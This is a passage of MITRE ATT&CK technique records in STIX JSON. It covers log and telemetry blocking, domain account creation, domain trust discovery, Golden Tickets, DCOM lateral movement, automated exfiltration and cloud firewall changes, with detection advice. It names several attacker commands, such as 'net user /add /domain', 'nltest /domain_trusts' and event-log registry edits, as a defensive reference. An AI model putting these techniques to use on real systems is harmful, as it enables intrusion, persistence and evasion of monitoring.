Shell Execution in Python", "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.", "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"}, {"source_name": "Cisco IOS Software Integrity Assurance - Command History", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"}, {"source_name": "Powershell Remote Commands", "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.", "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-14T21:50:32.531Z", "name": "Indicator Blocking", "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Rob Smith", "Lucas Heiligenstein"], "x_mitre_deprecated": false, "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Command: Command Execution", "Sensor Health: Host Status", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Anti-virus", "Host intrusion prevention systems"], "type": "attack-pattern", "id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", "created": "2020-03-19T19:09:30.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/006", "external_id": "T1562.006"}, {"source_name": "disable_win_evt_logging", "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", "url": "https://ptylu.github.io/content/report/report.html?report=25"}, {"source_name": "LemonDuck", "description": "Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.", "url": "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/"}, {"source_name": "Microsoft Lamin Sept 2017", "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.", "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"}, {"source_name": "Microsoft About Event Tracing 2018", "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.", "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"}, {"source_name": "Medium Event Tracing Tampering 2018", "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.", "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-01T04:37:36.774Z", "name": "Domain Account", "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for processes and command-line parameters associated with domain account creation, such as <code>net user /add /domain</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "User Account: User Account Creation"], "type": "attack-pattern", "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", "created": "2020-01-28T14:05:17.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1136/002", "external_id": "T1136.002"}, {"source_name": "Microsoft User Creation Event", "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"}, {"source_name": "Savill 1999", "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", "type": "attack-pattern", "created": "2020-10-02T14:57:15.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1589.003", "url": "https://attack.mitre.org/techniques/T1589/003"}, {"source_name": "OPM Leak", "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/", "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:27:49.437Z", "name": "Employee Names", "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Dave Westgard", "Elia Florio, Microsoft", "Mnemonic", "RedHuntLabs, @redhuntlabs", "ExtraHop"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "created": "2019-02-14T16:15:05.974Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "T1482", "url": "https://attack.mitre.org/techniques/T1482"}, {"source_name": "Microsoft Operation Wilysupply", "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/", "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019."}, {"source_name": "AdSecurity Forging Trust Tickets", "url": "https://adsecurity.org/?p=1588", "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019."}, {"source_name": "Microsoft Trusts", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)", "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019."}, {"source_name": "Microsoft GetAllTrustRelationships", "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships", "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019."}, {"source_name": "Harmj0y Domain Trusts", "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944", "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", "modified": "2022-06-16T19:18:22.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Domain Trust Discovery", "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Script: Script Execution", "Network Traffic: Network Traffic Content", "Process: OS API Execution"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Itamar Mizrahi, Cymptom"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", "type": "attack-pattern", "created": "2020-02-11T19:13:33.643Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1558.001", "url": "https://attack.mitre.org/techniques/T1558/001"}, {"url": "https://adsecurity.org/?p=1640", "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", "source_name": "AdSecurity Kerberos GT Aug 2015"}, {"url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", "source_name": "CERT-EU Golden Ticket Protection"}, {"url": "https://adsecurity.org/?p=1515", "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", "source_name": "ADSecurity Detecting Forged Tickets"}, {"description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.", "url": "https://adsecurity.org/?p=483", "source_name": "ADSecurity Kerberos and KRBTGT"}, {"source_name": "Stealthbits Detect PtT 2019", "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks", "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."}, {"source_name": "Microsoft Kerberos Golden Ticket", "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285", "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."}], "modified": "2020-11-05T16:07:03.779Z", "name": "Golden Ticket", "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Active Directory: Active Directory Credential Request", "Logon Session: Logon Session Metadata"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "external_id": "T1175", "url": "https://attack.mitre.org/techniques/T1175"}, {"source_name": "Fireeye Hunting COM June 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", "source_name": "Microsoft COM"}, {"url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1", "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", "source_name": "Microsoft COM ACL"}, {"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", "source_name": "Microsoft Process Wide Com Keys"}, {"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", "source_name": "Microsoft System Wide Com Keys"}, {"url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", "source_name": "ProjectZero File Write EoP Apr 2018"}, {"url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"}, {"url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", "source_name": "Enigma MMC20 COM Jan 2017"}, {"url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/", "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", "source_name": "Enigma DCOM Lateral Movement Jan 2017"}, {"url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/", "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", "source_name": "Enigma Excel DCOM Sept 2017"}, {"url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom", "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017"}], "modified": "2020-03-30T13:36:10.069Z", "name": "Component Object Model and Distributed COM", "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.", "x_mitre_deprecated": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM", "User"], "x_mitre_remote_support": true, "x_mitre_is_subtechnique": false}, {"modified": "2024-01-24T00:04:01.066Z", "name": "Automated Exfiltration", "description": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["ExtraHop"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Network Traffic: Network Traffic Flow", "File: File Access", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "Script: Script Execution"], "type": "attack-pattern", "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "created": "2017-05-31T21:30:29.458Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1020", "external_id": "T1020"}, {"source_name": "ESET Gamaredon June 2020", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c", "type": "attack-pattern", "created": "2020-10-02T16:47:16.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1592.004", "url": "https://attack.mitre.org/techniques/T1592/004"}, {"source_name": "ATT ScanBox", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}], "modified": "2021-10-17T16:35:09.668Z", "name": "Client Configurations", "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content"]}, {"modified": "2023-04-15T00:25:36.502Z", "name": "Disable or Modify Cloud Firewall", "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Expel"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor cloud logs for modification or creation of new security groups or firewall rules.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["IaaS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Firewall: Firewall Disable", "Firewall: Firewall Rule Modification"], "type": 